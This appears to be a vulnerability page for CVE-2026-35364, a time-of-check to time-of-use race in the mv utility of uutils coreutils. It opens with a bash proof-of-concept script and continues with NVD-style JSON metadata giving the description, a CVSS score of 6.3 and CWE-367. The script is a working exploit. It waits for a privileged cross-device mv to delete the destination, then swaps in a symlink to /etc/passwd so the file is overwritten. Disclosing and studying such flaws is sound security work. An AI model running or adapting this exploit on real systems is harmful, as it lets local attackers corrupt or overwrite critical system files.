CVE-2026-35364

#!/bin/bash # PoC for CVE-2026-35364: Exploiting TOCTOU in uutils mv cross-device move # Prerequisites: Attacker has write access to the destination directory. # Usage: Run this script in the background while a privileged user runs 'mv src dest'. DEST_DIR="/tmp/vuln_dir" DEST_FILE="$DEST_DIR/target" TARGET_FILE="/etc/passwd" # Arbitrary file to overwrite # Ensure destination directory exists and is empty (setup) mkdir -p "$DEST_DIR" touch "$DEST_FILE" echo "[+] Starting race condition exploit..." while true; do # Check if the destination file has been removed by mv if [ ! -e "$DEST_FILE" ]; then # Race window: mv has deleted the file but not yet created the new one # Replace it with a symlink to the target file ln -s "$TARGET_FILE" "$DEST_FILE" 2>/dev/null if [ $? -eq 0 ]; then echo "[!] Symlink created successfully. Target may be overwritten." break fi fi done

{"cve": {"id": "CVE-2026-35364", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:39.737", "lastModified": "2026-04-24T19:19:11.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Time-of-Check to Time-of-Use (TOCTOU) race condition exists in the mv utility of uutils coreutils during cross-device operations. The utility removes the destination path before recreating it through a copy operation. A local attacker with write access to the destination directory can exploit this window to replace the destination with a symbolic link. The subsequent privileged move operation will follow the symlink, allowing the attacker to redirect the write and overwrite an arbitrary target file with contents from the source."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/10015", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/uutils/coreutils/issues/10015", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}